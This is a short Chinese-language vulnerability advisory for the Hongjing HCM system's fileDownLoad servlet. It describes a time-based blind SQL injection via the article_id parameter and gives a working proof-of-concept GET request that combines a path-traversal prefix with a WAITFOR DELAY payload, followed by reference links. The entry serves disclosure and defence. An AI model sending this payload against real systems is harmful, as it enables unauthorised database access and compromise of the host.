Description
宏景系统 servlet/performance/fileDownLoad 接口存在SQL时间盲注漏洞，攻击者可通过构造恶意 article_id 参数注入SQL语句，利用 WAITFOR DELAY 实现时间延迟，获取数据库敏感信息，进一步可能导致系统被入侵控制。
宏景系统 /templates/attestation/../../servlet/performance/fileDownLoad SQL 注入漏洞
PoC
GET /templates/attestation/../../servlet/performance/fileDownLoad?article_id=1%3BWAITFOR+DELAY+%270%3A0%3A3%27-- HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://cn-sec.com/archives/2381335.html
https://www.ddpoc.com/DVB-2024-5951.html
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E5%AE%8F%E6%99%AFOA/%E5%AE%8F%E6%99%AFHCM-downlawbase%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://www.cnblogs.com/pursue-security/p/17704093.html
https://blog.csdn.net/weixin_43981050/article/details/135957930